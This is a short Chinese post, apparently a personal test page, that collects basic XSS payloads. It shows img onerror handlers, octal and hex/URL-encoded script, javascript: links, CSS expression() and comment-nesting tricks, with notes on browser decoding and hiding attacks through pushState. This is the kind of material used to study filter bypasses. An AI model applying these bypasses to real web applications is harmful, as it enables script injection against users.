自测 基础 js 脚本。
<html>
<head>
<script>
//function(<text>a{[]}lert('x')</text>)()
document.write(' <img src=@ onerror=alert(123) /> '); //说明直接在<script>标签 不会解码HtmlEncode
eval("\141\154\145\162\164\50\47\61\47\51"); //转换为16进制或8进制
</script>
</head> <body>
<pre>
<a href="javascript:alert(1)=html">click me1</a> <a href="javascript:document.write(' <img src=@ onerror=alert(123) /> ');">click me2</a> 说明JS对HtmlEncode进行解码 <a href="javascript:document.write(' <img src=@ onerror=alert(123) /> ');">click me3</a> <a href="javascript:document.write(' %3C%69%6D%67%20%73%72%63%3D%40%20%6F%6E%65%72%72%6F%72%3D%61%6C%65%72%74%28%31%32%33%29%20%2F%3E ');">click me4</a> <a href="javascript:document.write(' %26%6C%74%3B%69%6D%67%20%73%72%63%3D%40%20%6F%6E%65%72%72%6F%72%3D%61%6C%65%72%74%28%31%32%33%29%20%2F%26%67%74%3B ');">click me5</a> 4,5对比,说明JS对unicode, 十六进制,十进制,URL解码 只会解码一次。 <XsS style="xssb:expression(alert('XsSb'))">由于某些浏览器对XHTML支持,可以插入svg代码,XML代码。 111<!-- 222 <!-- 333 --> 444-->555 对于注释的闭合,绕过 HTML5中的history的pushState 和 replaceState 无刷新替换URL中链接, 再结合短链接, XSS攻击过程无任何察觉。
</pre>
</body>
</html>
自测 基础 js 脚本。的更多相关文章
- 原生基础js脚本实现--在线答题系统
全部代码在最下面----需要的直接往下翻 html方面的代码 : 正确的答案 value=s <!DOCTYPE html> <html lang="en"&g ...
- 关于JS脚本语言的基础语法
JS脚本语言的基础语法:输出语法 alert("警告!"); confirm("确定吗?"); prompt("请输入密码");为弱 ...
- 样式其他与JS脚本语言
样式其他:display(显示block和隐藏none,不占位置) visibility(显示visible和隐藏hidden,占位置) overflow(超出范围 hidden隐藏) 透明(op ...
- JS脚本动态给元素/控件添加事件
最近突然要用到JS脚本动态给元素添加事件.如TextBox的onclick事件.但有的onclick事件原先已经定义了相应代码!这里又不能替代原有方法,而JS脚本里面有个方法可以给控件在原有事件的基础 ...
- kettle学习笔记(十)——数据检验、统计、分区与JS脚本
一.概述 数据剖析和数据检验: 用于数据的检查.清洗 . 统计步骤: 提供数据采样和统计的功能 分区: 根据数据里某个字段的值,拆分成多个数据块.输出到不同的库表和文件中. 脚本: Javascrip ...
- Firebug中调试中的js脚本中中文内容显示为乱码
Firebug中调试中的js脚本中中文内容显示为乱码 设置 页面 UFT-8 编码没用, 解决方法:点击 "Firebug"工具栏 中的"选项"---" ...
- 通过easyui tab添加的子页面JS脚本必须放在body才生效
通过easyui tab添加的子页面JS脚本必须放在body才生效 可通过Chrome查看元素时,head标签是否含有你自己写的JS代码
- AngularJs中,如何在render完成之后,执行Js脚本
AngularJs是Google开源的前端JS框架.使用AngularJs, 我们能够容易地.健壮的开发出类似于Gmail一样的单页Web应用.AngularJs这个新兴的MVC前端框架,具有以下特点 ...
- JS脚本
js脚本是嵌在网页里打出的一块区域,一般写在最下端 script 脚本 // 这是单行注释的一种语法 /**/ 这是多行注释的一种语法 存储内容的东西叫变量 数据类型的有: 1 整型 ...
随机推荐
- BZOJ 1029 [JSOI2007]建筑抢修 (贪心 + 优先队列)
1029: [JSOI2007]建筑抢修 Time Limit: 4 Sec Memory Limit: 162 MBSubmit: 5452 Solved: 2422[Submit][Statu ...
- (转)MVC一个页面多个submit
转自:http://stackoverflow.com/questions/442704/how-do-you-handle-multiple-submit-buttons-in-asp-net-mv ...
- 百度地图的js导入及使用
做页面,地图可能会用到 1 导入百度地图的js库 <script type="text/javascript" src="http://api.map.baidu. ...
- noip第29课作业
1. 钢条切割 [问题描述] 一家公司购买长钢条,将其切割成短钢条出售,切割本身没有成本,长度为i的短钢条的价格为Pi.那给定一段长度为n的钢条和一个价格表Pi,求钢条的切割方案使得收益Rn最大. ...
- 微信小程序-flex布局中align-items和align-self区别
首先看看菜鸟教程中关于align-items和align-self的定义 align-items:align-items 属性定义flex子项在flex容器的当前行的侧轴(纵轴)方向上的对齐方式.(对 ...
- CMUSphinx Learn - Before you start
Before you start 开始之前 Before you start the development of the speech application, you need to consid ...
- Swift3 KWWebView的页面屏幕自适应
lazy var webView:WKWebView = { /* NSString *jScript = @"var meta = document.createElement('meta ...
- Swift3 倒计时按钮扩展
extension UIButton{ func overrideSelf(){ self.setTitle("验证码", for: .normal) self.titleLabe ...
- Android-多线程安全问题-synchronized
先看一个售票案例Demo,多线程程序对共享数据操作引发的安全问题: package android.java.thread09; /** * 售票线程 */ class Booking impleme ...
- [ASE][Daily Scrum]11.06
我们的<坦克大战·无尽>正式开始动工了,今天的任务计划如下~ [Plan] View Shilin Liu 搭建好开发环境 收集素材 Control Jiafan Zhu ...